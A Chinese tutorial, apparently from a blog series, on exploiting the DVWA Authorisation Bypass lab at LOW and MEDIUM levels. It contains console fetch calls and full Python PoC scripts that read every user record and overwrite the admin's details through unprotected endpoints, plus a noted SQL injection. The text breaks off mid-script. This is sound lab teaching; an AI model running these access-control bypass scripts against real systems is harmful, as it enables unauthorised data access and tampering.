从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程

文章目录

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 16 篇文章。

一、概述

1、什么是授权绕过?

授权绕过(Authorization Bypass)是指攻击者绕过应用程序的访问控制机制,访问或操作超出其权限范围的数据或功能。

认证(Authentication)与授权(Authorization)的区别

概念 说明 示例
认证 验证"你是谁" 登录时输入用户名和密码
授权 验证"你能做什么" 普通用户不能修改管理员资料

授权绕过的常见类型

类型 说明 本模块对应场景
水平越权 访问同级别其他用户的数据 gordonb 改写 pablo 的资料
垂直越权 访问更高权限级别的功能 gordonb 改写 admin 的资料
直接对象引用 通过修改 ID 访问未授权的资源 JSON 请求体里 id 由攻击者任意指定
功能级绕过 直接访问未授权的功能页面 直接访问 get_user_data.php / change_user_details.php

2、本模块的核心漏洞

DVWA 授权绕过模块的核心漏洞是:授权检查(如果有)只保护"页面",不保护"功能"

复制代码
1. 用户访问主页面 /vulnerabilities/authbypass/(入口检查在这一层)
         ↓
2. 页面里的 authbypass.js 通过 fetch/XHR 调用两个功能文件
         ↓
3. get_user_data.php(读通道) / change_user_details.php(写通道)
   ------功能文件本身(大部分级别下)没有授权检查
         ↓
4. 攻击者跳过主页面,直接访问功能文件
         ↓
5. 入口检查被完整旁路,未授权读/写全部成立 ✅

这个模块比其他模块更"真实"的地方在于:主页面不是一个静态表单,而是一个由 JavaScript 驱动的迷你用户管理系统 ------页面加载后 authbypass.js 自动 GET get_user_data.php 拉取全量用户列表渲染表格,点击 Update 按钮时以 JSON 格式 POST 到 change_user_details.php。两个后端接口就是本模块的"功能",也是攻击者的真正目标。

二、LOW 级别 ------ 主页面与功能文件均无授权检查

1、漏洞描述

LOW 级别下,授权控制完全不存在

核心问题

  • source/low.php 里没有任何代码,只有一段注释,提示读者去研究 dvwaHtmlEcho 函数------但连 dvwaHtmlEcho 里也没有针对本模块的检查(只有菜单可见性控制)
  • 主页面 /vulnerabilities/authbypass/ 对任何登录用户开放,普通用户能看到完整的用户管理界面
  • 读通道 get_user_data.php 不检查身份,直接返回 users 表全量数据(JSON)
  • 写通道 change_user_details.php 不检查身份,JSON POST 即可改写任意 user_id 的姓名字段------包括 admin

2、查看网页源代码

php 复制代码
<?php
/*

Nothing to see here for this vulnerability, have a look
instead at the dvwaHtmlEcho function in:

* dvwa/includes/dvwaPage.inc.php

*/

?>

3、分析网页源代码

(1)代码概述

组件 角色 是否有授权检查
主页面 index.php + source/low.php 渲染用户管理界面 ❌ 无
dvwaHtmlEcho()(dvwaPage.inc.php) 页面渲染管线 ❌ 无(仅菜单隐藏)
get_user_data.php 读通道:全量用户 JSON ❌ 无
change_user_details.php 写通道:JSON POST 改姓名 ❌ 无(仅检查请求方法)

(2)漏洞分析

① 漏洞一 ------ 唯一的"防线"是菜单隐藏(安全即隐匿反模式)

非 admin 用户的侧边栏里看不到 Authorisation Bypass 菜单项(L311 的 if 判断),但这只是不显示 ,不是不允许。直接在地址栏输入 URL 即可访问完整页面(实测 gordonb 访问主页面返回 HTTP 200,页面长度 4377 字节,与 admin 的 4470 字节几乎一致)。

② 漏洞二 ------ 读通道无鉴权,全量用户数据泄露

get_user_data.php 对任意登录用户返回 users 表全量记录。实测 gordonb 在 LOW 下拿到 5 条记录(273 字节 JSON):

json 复制代码
[{"user_id":"1","first_name":"admin","surname":"admin"},
 {"user_id":"2","first_name":"Gordon","surname":"Brown"},
 {"user_id":"3","first_name":"Hack","surname":"Me"},
 {"user_id":"4","first_name":"Pablo","surname":"Picasso"},
 {"user_id":"5","first_name":"Bob","surname":"Smith"}]

admin 的 user_id=1 赫然在列------为后续垂直越权提供了目标 ID

③ 漏洞三 ------ 写通道无鉴权 + 参数完全可控,水平/垂直越权双双成立

change_user_details.php 的 UPDATE 语句(官方 master 源码):

php 复制代码
$query = "UPDATE users SET first_name = '" . $data->first_name .
         "', last_name = '" . $data->surname .
         "' where user_id = " . $data->id;

三个问题叠加:

  1. 无授权检查 :不区分当前用户与目标 user_id 的关系
  2. id 完全可控 :把 id 从 2 改成 1,就从"改自己"变成"改 admin"------水平越权升级为垂直越权
  3. 无输入过滤,直接拼接 SQL :笔者实测把 first_name 传成 Go'rdon,服务端直接回显 <pre>You have an error in your SQL syntax...</pre>------本模块还叠加了一个可利用的 SQL 注入漏洞(属于交叉发现,本文聚焦授权绕过,仅在此点到为止)

4、操作步骤

⚠️ 踩坑 1(最容易犯):必须用非 admin 账号测试。 admin 对所有端点永远返回 200,任何级别、任何端点在 admin 视角下看起来都"正常" ,你根本观察不到"绕过"与"拦截"的差别。本模块的正确打开方式是用普通用户 gordonb / abc123 登录------这是模块页面正文里官方亲自给出的账号。

⚠️ 踩坑 2:安全等级 Cookie 是会话级的,每个新会话都要重新设级。 DVWA 的安全级别存在 security Cookie 里,不跟用户绑定。切换账号(或新开浏览器会话)后,必须重新进 DVWA Security 设置等级;另外实测发现任何登录用户都能访问 security.php 给自己设级(gordonb 也能把等级设成 low/medium/high),这个"越权设级"本身就是 DVWA 的教学简化,不必大惊小怪。

(1)观察 LOW 下的主页面(普通用户视角)

  • gordonb / abc123 登录 DVWA,将安全级别设置为 Low
  • 直接在地址栏访问 http://dvwa.cc/vulnerabilities/authbypass/

预期结果:页面正常渲染(HTTP 200),标题下方是完整用户管理表格------ID / First Name / Surname / Update 四列,5 个用户(包括 admin)每人一行,每行一个 Update 按钮。

对照实验(建议做一次) :同样路径用 admin 登录访问,页面几乎一样(实测长度差 93 字节,来自侧边栏菜单项与安全级别控件)。这说明 LOW 下普通用户与 admin 在本模块里没有任何权限差异

(2)用 F12 直接观察两条通路

  • 按 F12 → Network 标签页,刷新页面,可以看到页面加载后自动发出的 get_user_data.php 请求,响应就是全量用户 JSON
  • 按 F12 → Console,手动复现页面 JS 的两个行为:
javascript 复制代码
// 读通道:直接拉全量用户数据
fetch('get_user_data.php').then(r => r.json()).then(console.log)

// 写通道:以 JSON POST 改 user_id=2 的姓氏(先小改自己,避免破坏环境)
fetch('change_user_details.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: 2, first_name: 'Gordon', surname: 'Pwn3d'})
}).then(r => r.json()).then(console.log)
// 返回 {result: "ok"}

// 读回核验:姓氏已变成 Pwn3d
fetch('get_user_data.php').then(r => r.json()).then(console.log)

预期结果:第一个 fetch 打出 5 个用户;第二个 fetch 返回 {result: "ok"};第三个 fetch 里 user_id=2 的 surname 已是 Pwn3d------写入真实落库 。验证完把 surname 改回 Brown 还原现场。

⚠️ 踩坑 3:change_user_details.php 的请求体必须是 JSON,表单编码会被拒绝。 实测用表单编码 POST user_id=2&first_name=Gordon&surname=Pwn3d,服务端返回 125 字节的 {"result":"fail","error":"Invalid format, expecting \"{id: {user ID}, first_name: ...}"}------因为后端用 file_get_contents('php://input') + json_decode() 解析请求体。参数名也不是表单思路里的 user_id,而是 id。这个坑是笔者第一轮实测亲踩的(当时连续 8 次 "Invalid format")。

⚠️ 踩坑 4:GET change_user_details.php 不会返回任何表单。 它返回 59 字节的 {"result":"fail","error":"Only POST requests are accepted"}。如果照搬原文教程"GET 即可看到修改表单"的步骤,只会拿到这句 JSON,然后误以为"没有漏洞"。真正的表单在主页面 里,由 authbypass.js 动态渲染。

(3)垂直越权:把 admin 改了

  • 在 Console 里把上面写通道 fetch 的 id 改成 1first_name 改成 adminsurname 改成 PwnedAdmin,执行
  • 再执行读通道 fetch,观察 user_id=1 的变化

预期结果:返回 {result: "ok"},读回时 admin 的 surname 已变成 PwnedAdmin------普通用户改写管理员资料成功 。这是本模块最直观的垂直越权证据。验证完改回 admin / admin 还原。

反面对照(已实测复现) :如果用表单编码、或把参数名写成 user_id、或忘记 Content-Type: application/json,都会得到 "Invalid format" 而不是 "ok"。"拿到了 ok" 与 "数据真的变了" 是两回事------每次写入后务必读回核验。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
 DVWA Authorisation Bypass ------ LOW 级别 PoC(主页面与功能文件均无授权检查)
--------------------------------------------------------------------
 漏洞原理:
   LOW 级别下,授权检查完全缺失:
     ① 主页面 /vulnerabilities/authbypass/ 对任何登录用户开放------
        source/low.php 只有一段注释(提示去看 dvwaHtmlEcho),
        连"是否为 admin"的判断都没有;
     ② 功能文件 get_user_data.php 在 low 下不检查用户身份,
        直接返回 users 表全量数据(JSON);
     ③ 功能文件 change_user_details.php 在 low 下同样不检查身份,
        接收 JSON POST 即可改写任意 user_id 的 first_name/last_name。
     由此形成两条完整的越权链:
        水平越权:gordonb 改自己的资料(合法),也能改别人(非法);
        垂直越权:gordonb 直接改写 admin 的资料------普通用户触碰管理员数据。

 验证方法(读 + 写双通道验证):
   ① 以非 admin 用户 gordonb/abc123 登录(DVWA 默认内置账号);
   ② 通过官方 security.php 接口把安全等级设为 low;
   ③ 直接 GET 两个功能文件,确认无需任何授权即可读全量用户数据;
   ④ 用 JSON POST 实际改写 gordonb 自己与 admin 的姓名字段,
      每次写入后读回核验,验证完立即还原------"写入成功"以数据落库为准,
      而不是只看 HTTP 状态码。

 使用方法:
   python poc_authbypass_low.py -t http://dvwa.cc [-u gordonb] [-p abc123]

 免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""

import argparse
import json
import re
import sys

import requests


class DVWASession:
    """DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""

    TOKEN_RE = re.compile(
        r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)

    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.http = requests.Session()
        self.http.headers.update(
            {"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})

    # ---------------- 内部工具 ----------------
    def _get(self, path, **kw):
        return self.http.get(self.base_url + path, timeout=10, **kw)

    def _post(self, path, data=None, **kw):
        return self.http.post(self.base_url + path, data=data, timeout=10, **kw)

    def _fetch_token(self, path):
        """访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
        html = self._get(path).text
        m = self.TOKEN_RE.search(html)
        return m.group(1) if m else None

    def _is_login_page(self, html):
        return bool(re.search(r"name=['\"]username['\"]", html))

    # ---------------- 前置步骤 ----------------
    def login(self):
        """两步登录:先取登录页 token,再携带 token 提交账号密码。"""
        data = {"username": self.username, "password": self.password,
                "Login": "Login"}
        token = self._fetch_token("/login.php")
        if token:
            data["user_token"] = token
        self._post("/login.php", data)

        html = self._get("/index.php").text
        if self._is_login_page(html):
            raise RuntimeError("登录失败:请检查用户名/密码或目标地址")

    def set_security(self, level):
        """通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
        data = {"security": level, "seclev_submit": "Submit"}
        token = self._fetch_token("/security.php")
        if token:
            data["user_token"] = token
        self._post("/security.php", data)

        current = self.http.cookies.get("security")
        if current != level:
            raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")

    # ---------------- 漏洞接口封装 ----------------
    def get_user_data(self):
        """GET 功能文件1:全量用户数据(JSON)。"""
        return self._get("/vulnerabilities/authbypass/get_user_data.php")

    def change_user_details(self, user_id, first_name, surname):
        """POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
        return self._post(
            "/vulnerabilities/authbypass/change_user_details.php",
            json={"id": user_id, "first_name": first_name, "surname": surname})


def run(base_url, username, password):
    print("[*] 目标地址:", base_url)
    print("[*] 测试账号(非 admin):", username)
    print("-" * 60)

    # ① 登录并设置安全等级
    dvwa = DVWASession(base_url, username, password)
    print("[*] 步骤1: 登录 DVWA(普通用户) ...")
    dvwa.login()
    print("[+] 登录成功")

    print("[*] 步骤2: 通过官方接口设置安全等级 low ...")
    dvwa.set_security("low")
    print("[+] 安全等级已设为 low(Cookie 校验通过)")
    print("-" * 60)

    # ② 主页面基线:low 下不拦截
    print("[*] 步骤3: 直接访问主页面 /vulnerabilities/authbypass/ ...")
    r = dvwa._get("/vulnerabilities/authbypass/")
    if r.status_code == 200 and "user manager" in r.text:
        print(f"[+] 主页面未做任何拦截(HTTP {r.status_code}),"
              f"普通用户可见完整用户管理界面")
    else:
        print(f"[-] 主页面响应异常:HTTP {r.status_code},结果需人工复核")
    print("-" * 60)

    # ③ 读通道:get_user_data.php
    print("[*] 步骤4: 直接 GET 功能文件 get_user_data.php ...")
    r = dvwa.get_user_data()
    users = []
    try:
        users = json.loads(r.text)
    except json.JSONDecodeError:
        pass
    if r.status_code == 200 and users:
        print(f"[+] 读通道绕过成功(HTTP {r.status_code}),"
              f"无需授权读到 {len(users)} 条用户记录:")
        for u in users:
            print(f"      user_id={u['user_id']:>2}  {u['first_name']} {u['surname']}")
        print("      ↑ admin 的记录也在其中------数据库全量数据对普通用户可见")
    else:
        print(f"[-] 读通道未绕过:HTTP {r.status_code},响应: {r.text[:80]}")
    print("-" * 60)

    # ④ 写通道:change_user_details.php(水平越权:改自己)
    print("[*] 步骤5: JSON POST 改写 user_id=2(gordonb 自己)Brown → Pwn3d ...")
    r = dvwa.change_user_details(2, "Gordon", "Pwn3d")
    print(f"    服务端返回: {r.text.strip()}")
    after = json.loads(dvwa.get_user_data().text)
    row2 = next((u for u in after if u["user_id"] == "2"), {})
    if r.json().get("result") == "ok" and row2.get("surname") == "Pwn3d":
        print("[+] 水平越权写入成功:数据已真实落库")
    else:
        print("[-] 写入未生效,结果需人工复核")

    # ⑤ 写通道:垂直越权(改 admin)
    print("[*] 步骤6: JSON POST 改写 user_id=1(admin)admin → PwnedAdmin ...")
    r = dvwa.change_user_details(1, "admin", "PwnedAdmin")
    print(f"    服务端返回: {r.text.strip()}")
    after = json.loads(dvwa.get_user_data().text)
    row1 = next((u for u in after if u["user_id"] == "1"), {})
    if r.json().get("result") == "ok" and row1.get("surname") == "PwnedAdmin":
        print("[+] 垂直越权写入成功:普通用户改写了 admin 的资料!")
    else:
        print("[-] 写入未生效,结果需人工复核")
    print("-" * 60)

    # ⑥ 还原现场
    print("[*] 步骤7: 还原现场(admin → admin,Gordon → Brown) ...")
    dvwa.change_user_details(1, "admin", "admin")
    dvwa.change_user_details(2, "Gordon", "Brown")
    after = json.loads(dvwa.get_user_data().text)
    ok = ("Pwn3d" not in json.dumps(after)
          and "PwnedAdmin" not in json.dumps(after))
    print("[+] 现场已还原" if ok else "[-] 还原失败,请手动检查 users 表")
    print("-" * 60)

    # ⑦ 结论
    print("[*] 结论:")
    print("    LOW 级别主页面与两个功能文件均无授权检查,")
    print("    普通用户可读全量用户数据、可改写包括 admin 在内的任意用户资料,")
    print("    ------ 水平与垂直越权全部成立,授权控制不存在。")


def main():
    parser = argparse.ArgumentParser(
        description="DVWA Authorisation Bypass LOW 级别 PoC(仅供授权靶场使用)")
    parser.add_argument("-t", "--target", default="http://dvwa.cc",
                        help="DVWA 根地址(默认 http://dvwa.cc)")
    parser.add_argument("-u", "--user", default="gordonb",
                        help="登录用户名(需非 admin,默认 gordonb)")
    parser.add_argument("-p", "--password", default="abc123",
                        help="登录密码(默认 abc123)")
    args = parser.parse_args()

    print("⚠️  警告:本脚本仅供本地授权靶场测试使用!")
    print("=" * 60)
    try:
        run(args.target, args.user, args.password)
    except requests.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        sys.exit(1)
    except RuntimeError as e:
        print(f"[-] {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

脚本说明

(1)总体思路。 本脚本采用"主页面基线 → 读通道验证 → 写通道验证 → 数据落库核验 → 还原现场 "五段式验证法:先以普通用户身份确认主页面完全不设防,再分别验证读(全量数据泄露)与写(改自己+改 admin)两条通路;关键设计是每一次写入都用读回核验收尾 ------服务端返回 {"result":"ok"} 只代表"请求被接受",必须从 get_user_data.php 读回数据确认真实落库,才算"越权成立"。全程自动还原现场,不给靶场留下脏数据。

(2)功能模块划分。

功能模块 说明
DVWASession 会话封装:两步登录(user_token 自适应提取)、security.php 设级并用 Cookie 校验结果
get_user_data() 读通道封装:GET 全量用户 JSON
change_user_details() 写通道封装:JSON 请求体 POST(requestsjson= 参数自动设置 Content-Type),这是与原教程脚本的差异所在
数据落库核验 每次写入后重新 GET 用户表,比对目标字段是否真的变化
主流程 run() 登录 → 设级 → 主页面基线 → 读通道 → 水平越权 → 垂直越权 → 还原 → 结论

说明:脚本默认凭据是 gordonb / abc123 而不是 admin------授权绕过的验证必须站在"被限制的用户"视角,这一点与 JavaScript 模块的 PoC(默认 admin)有本质区别。

(3)逐步逻辑讲解。

首先,登录与设级。 与上一篇同款的 DVWASession:GET /login.php 正则自适应提取 user_token,POST 登录后访问 /index.php 确认不再出现登录表单;设级走官方 security.php,用 Cookie 中的 security 值客观校验。实测 gordonb 也可以自由设级(DVWA 的安全级别是 Cookie 级的,与用户身份无关)。

其次,主页面基线与读通道。 脚本先访问主页面确认 HTTP 200 且包含 "user manager"(LOW 下无任何拦截),再 GET get_user_data.phpjson.loads 解析------解析成功本身就证明返回的是数据而不是错误信息。打印逐条用户记录,让"全量数据泄露"看得见摸得着。

最后,写通道与落库核验。 写入用 json= 参数发送 {"id":2,"first_name":"Gordon","surname":"Pwn3d"};核验用 next((u for u in after if u["user_id"] == "2"), {}) 从读回数据中取出该行比对 surname。注意一个细节:get_user_data.php 返回的 user_id字符串 (JSON 里是 "2" 而不是 2),比对时用 == "2" 而不是 == 2------这也是笔者实测踩过的小坑。垂直越权同理,把 id 换成 1 改写 admin,最后统一还原并复核还原结果。

(4)验证判定逻辑。 LOW 下两条通路都没有任何身份判断,"读回全量数据"与"写入后落库"都是确定性结果而非概率事件;脚本对每个环节都设计了明确的成功判据(状态码 + 关键字 + 数据比对三重),任何一环失败都会输出"结果需人工复核"而不是静默通过------让结论"可解释"而不仅仅是"可执行"。

6、AI视角下的授权绕过检测

(1)攻击面自动发现:从"页面"到"功能文件"的展开

传统漏洞扫描器以"页面"为单位爬取,会把这个模块记为"1 个页面,无参数,无表单"然后跳过------因为表单是 JS 动态渲染的,HTML 源码里的 <tbody> 是空的。AI 自动化检测的第一步改进就是把前端行为纳入攻击面建模 ,本文的踩点脚本 recon_authbypass.py 实际执行的正是这条链路:

步骤 AI 行为 实测产出
① 页面级侦察 GET 主页面,解析 HTML 里的 <script src> 引用 发现 authbypass.js(1842 字节)
② 静态行为提取 对 JS 做"请求发射点"分析:提取 fetch/XHR/open 的目标与方法 发现两条内部端点:GET get_user_data.phpPOST change_user_details.php(JSON 体)
③ 端点直连探测 携带普通用户会话直接访问每个端点 读通道 200/273 字节;写通道 GET 200/59 字节 Only POST requests are accepted
④ 请求格式推断 从报错信息 Invalid format, expecting "{id: ...}" 反推请求体格式 确定必须 JSON POST,参数 id/first_name/surname

这个流程的关键启发是:功能文件不是被"猜"出来的,而是从 authbypass.js 里"读"出来的------前端代码是后端接口的说明书。第 ④ 步尤其重要:AI 把一次失败的请求(Invalid format)当作信息源而不是终结信号,从错误提示里反推出正确的请求格式,这正是自动化工具与智能检测的分水岭。

(2)权限矩阵自动构建:双角色差分探测

发现端点之后,AI 检测的核心方法是构建"角色 × 端点"权限矩阵并做差分 。本文 recon_authbypass.py 的 PHASE 1/PHASE 2 就是手工版实现:

探测项 admin 会话 gordonb 会话 差分结论
主页面 200 (4470 B) 200 (4377 B) 无权限差异 → 主页面不设防
get_user_data.php 200 (273 B) 200 (273 B) 无权限差异 → 读通道越权
change_user_details.php 200 (59 B) 200 (59 B) 无权限差异 → 写通道越权

判据规则很朴素但极有效:同一个端点,高权限角色与低权限角色得到"语义等价"的响应(状态码、长度、数据量一致),该端点就大概率缺少授权检查 。AI 的增量价值在于三点:一是自动选对探测角色(用一个只读的低权限账号做基准,而不是拿 admin 自测------admin 视角下一切"正常",这正是踩坑 1 的自动化表述);二是对响应做语义等价判断(4470 与 4377 字节不同,但都包含 user_table 骨架与 "user manager" 文案,语义等价;而非等价响应如 403/12 字节会被立刻识别为"有检查");三是把矩阵结果翻译成风险语言("任何登录用户可读写任意用户资料")。

(3)写入型验证的安全护栏

读通道验证无副作用,写通道验证却会改数据。AI 驱动的写入验证需要内置护栏,本文 PoC 的三条护栏可以直接复用为工程规范:先改自己再改别人 (user_id=2 优先于 user_id=1,缩小误伤半径)、写后必读回核验 (区分 "ok" 与 "落库")、验证后立即还原并复核还原结果Pwn3d/PwnedAdmin 关键字清零才算收尾)。

(4)交叉漏洞的顺手捕获

写通道验证时把 first_name 置为 Go'rdon,AI 从响应前缀 <pre>You have an error in your SQL syntax 即可自动归类出第二个漏洞------SQL 注入(UPDATE 型、无过滤)。一次授权检测同时产出"越权 + 注入"两个发现,这种交叉标记能力正是把检测脚本升级为"审计代理"的标志。

7、 LOW级别------小结

LOW 级别的授权控制完全不存在:

  • 唯一的"防线"是菜单项对非 admin 隐藏(安全即隐匿反模式)
  • 主页面、读通道、写通道三层全部对普通用户开放
  • 普通用户可读全量用户数据,可改写包括 admin 在内的任意用户资料
  • 附带发现 UPDATE 语句直接拼接输入的 SQL 注入

一句话总结:LOW 级别的授权检查形同虚设------攻击者甚至不需要"绕过"什么,直接走进去就行;真正需要攻破的只是请求格式这个"工程门槛"。

三、MEDIUM 级别 ------ 入口有检查,功能文件仍裸奔

1、 漏洞描述

MEDIUM 级别在主页面入口加了授权检查,但功能文件一行代码都没改

核心机制

  • source/medium.php 在页面组装早期判断 dvwaCurrentUser() != "admin",非 admin 直接 Unauthorised + 403
  • 注释里官方"好心"提示了两个问题文件:get_user_data.phpchange_user_details.php
  • 两个功能文件在 medium 下依旧不做任何身份检查------检查与功能分离的结构性问题原封未动

核心问题:把门的是"页面",干活的是"文件"。门再严,直接走进工作间就行了。

2、查看网页源代码

php 复制代码
<?php
/*

Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities: 

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

3、分析网页源代码

(1)代码概述

组件 MEDIUM 下的行为 与 LOW 的差异
主页面(source/medium.php 检查) 非 admin → 403 Unauthorised ✅ 新增入口检查
get_user_data.php 非 admin 仍返回全量 JSON(273 B) ❌ 无差异
change_user_details.php 非 admin 仍可 JSON POST 改任意用户 ❌ 无差异

(2)漏洞分析

① 漏洞一 ------ 入口检查只保护"渲染",不保护"数据与功能"

主页面检查拦住的是"看用户管理界面"这个行为,而界面的两根数据管道(读/写端点)谁都没拦。用户管理系统的全部价值在管道里,页面只是个壳。

② 漏洞二 ------ 直接访问功能文件即完整旁路

实测 gordonb 在 medium 下直接 GET get_user_data.php:HTTP 200、273 字节全量 JSON,与 LOW 下逐字节一致。入口检查形同虚设。

③ 漏洞三 ------ 写通道仍然无鉴权、无过滤

change_user_details.php 在 medium 下与 LOW 完全一致:JSON POST 即可改写任意用户。实测 gordonb 改写 admin 姓氏成功并读回确认。

4、 操作步骤

⚠️ 踩坑 5:先用主页面"确认拦截",再做"绕过"------顺序不能反。 如果跳过第 (1) 步直接访问功能文件,你永远无法展示"绕过"这个动作本身------没有"403 被拦"作为对照,"200 拿到数据"就只是普通访问。渗透报告的说服力来自对照组。

(1)观察主页面入口检查(普通用户视角)

  • gordonb / abc123 登录 DVWA,将安全级别设置为 Medium
  • 访问 http://dvwa.cc/vulnerabilities/authbypass/

预期结果:页面不再渲染 ,只显示一行白底黑字 Unauthorised。按 F12 → Network 可确认状态码 403、响应体仅 12 字节。

观察细节 :此时侧边栏整个 DVWA 框架都没有了(响应里连 <html> 都没有),说明检查在页面组装极早期就 exit 了------这也是"检查在 source 文件里、require_once 时执行"的行为证据。

(2)绕过:直接访问读通道

  • 地址栏直接访问 http://dvwa.cc/vulnerabilities/authbypass/get_user_data.php

预期结果:浏览器直接显示/下载全量用户 JSON(273 字节,5 条记录),与 LOW 下完全一致------403 的大门口,数据在侧门哗哗地流

(3)绕过:Console 操作写通道

  • 回到任意已登录页面(如 DVWA 首页)打开 F12 Console,执行:
javascript 复制代码
// 改 admin 的姓氏(垂直越权)
fetch('/vulnerabilities/authbypass/change_user_details.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: 1, first_name: 'admin', surname: 'PwnedAdmin'})
}).then(r => r.json()).then(console.log)
// 返回 {result: "ok"}

// 读回核验
fetch('/vulnerabilities/authbypass/get_user_data.php').then(r => r.json()).then(console.log)

预期结果:返回 {result: "ok"},读回可见 admin 的 surname 已是 PwnedAdmin。验证完改回 admin 还原。

⚠️ 踩坑 6:Console 里 fetch 用绝对路径 /vulnerabilities/authbypass/... 更稳。 如果当前停留在 DVWA 根路径的页面(如 /index.php/security.php),相对路径 get_user_data.php 会解析到错误目录返回 404/登录页。用绝对路径可以避免"明明有漏洞却测试失败"的假阴性。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
 DVWA Authorisation Bypass ------ MEDIUM 级别 PoC(入口有检查,功能文件仍裸奔)
--------------------------------------------------------------------
 漏洞原理:
   MEDIUM 级别只在主页面入口加了授权检查:
     ① source/medium.php 在页面组装早期判断 dvwaCurrentUser() != "admin",
        非 admin 直接 print "Unauthorised" 并返回 403------入口看起来"很安全";
     ② 但两个功能文件在 medium 下依旧不做任何身份检查:
        get_user_data.php 仍然返回全量用户数据(JSON);
        change_user_details.php 仍然接受 JSON POST 改写任意用户。
     检查与功能分离的老问题原封未动:把门的是"页面",干活的是"文件",
     直接访问文件即可让入口检查完全旁路。

 验证方法(先证拦截,再证绕过):
   ① 以非 admin 用户 gordonb/abc123 登录,把安全等级设为 medium;
   ② 先访问主页面,确认 403 + Unauthorised(证明入口检查确实存在);
   ③ 再直接 GET get_user_data.php------照样读出全量用户数据;
   ④ 用 JSON POST 改写 admin 的姓名并读回核验------照样写入成功;
      写入成功后立即还原。"入口拦得住页面,拦不住功能"。

 使用方法:
   python poc_authbypass_medium.py -t http://dvwa.cc [-u gordonb] [-p abc123]

 免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""

import argparse
import json
import re
import sys

import requests


class DVWASession:
    """DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""

    TOKEN_RE = re.compile(
        r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)

    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.http = requests.Session()
        self.http.headers.update(
            {"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})

    # ---------------- 内部工具 ----------------
    def _get(self, path, **kw):
        return self.http.get(self.base_url + path, timeout=10, **kw)

    def _post(self, path, data=None, **kw):
        return self.http.post(self.base_url + path, data=data, timeout=10, **kw)

    def _fetch_token(self, path):
        """访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
        html = self._get(path).text
        m = self.TOKEN_RE.search(html)
        return m.group(1) if m else None

    def _is_login_page(self, html):
        return bool(re.search(r"name=['\"]username['\"]", html))

    # ---------------- 前置步骤 ----------------
    def login(self):
        """两步登录:先取登录页 token,再携带 token 提交账号密码。"""
        data = {"username": self.username, "password": self.password,
                "Login": "Login"}
        token = self._fetch_token("/login.php")
        if token:
            data["user_token"] = token
        self._post("/login.php", data)

        html = self._get("/index.php").text
        if self._is_login_page(html):
            raise RuntimeError("登录失败:请检查用户名/密码或目标地址")

    def set_security(self, level):
        """通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
        data = {"security": level, "seclev_submit": "Submit"}
        token = self._fetch_token("/security.php")
        if token:
            data["user_token"] = token
        self._post("/security.php", data)

        current = self.http.cookies.get("security")
        if current != level:
            raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")

    # ---------------- 漏洞接口封装 ----------------
    def get_user_data(self):
        """GET 功能文件1:全量用户数据(JSON)。"""
        return self._get("/vulnerabilities/authbypass/get_user_data.php")

    def change_user_details(self, user_id, first_name, surname):
        """POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
        return self._post(
            "/vulnerabilities/authbypass/change_user_details.php",
            json={"id": user_id, "first_name": first_name, "surname": surname})


def run(base_url, username, password):
    print("[*] 目标地址:", base_url)
    print("[*] 测试账号(非 admin):", username)
    print("-" * 60)

    # ① 登录并设置安全等级
    dvwa = DVWASession(base_url, username, password)
    print("[*] 步骤1: 登录 DVWA(普通用户) ...")
    dvwa.login()
    print("[+] 登录成功")

    print("[*] 步骤2: 通过官方接口设置安全等级 medium ...")
    dvwa.set_security("medium")
    print("[+] 安全等级已设为 medium(Cookie 校验通过)")
    print("-" * 60)

    # ② 主页面基线:medium 下入口拦截生效
    print("[*] 步骤3: 访问主页面,验证入口授权检查 ...")
    r = dvwa._get("/vulnerabilities/authbypass/")
    if r.status_code == 403 and "Unauthorised" in r.text:
        print(f"[+] 入口检查已生效:HTTP {r.status_code},响应体: {r.text.strip()!r}")
        print("    (页面入口对非 admin 用户明确拒绝)")
    else:
        print(f"[-] 主页面响应异常:HTTP {r.status_code},结果需人工复核")
    print("-" * 60)

    # ③ 读通道绕过:get_user_data.php 仍无检查
    print("[*] 步骤4: 直接 GET 功能文件 get_user_data.php(绕过入口) ...")
    r = dvwa.get_user_data()
    users = []
    try:
        users = json.loads(r.text)
    except json.JSONDecodeError:
        pass
    if r.status_code == 200 and users:
        print(f"[+] 读通道绕过成功(HTTP {r.status_code}),"
              f"入口检查被完全旁路,读到 {len(users)} 条用户记录:")
        for u in users:
            print(f"      user_id={u['user_id']:>2}  {u['first_name']} {u['surname']}")
    else:
        print(f"[-] 读通道未绕过:HTTP {r.status_code},响应: {r.text[:80]}")
    print("-" * 60)

    # ④ 写通道绕过:改写 admin
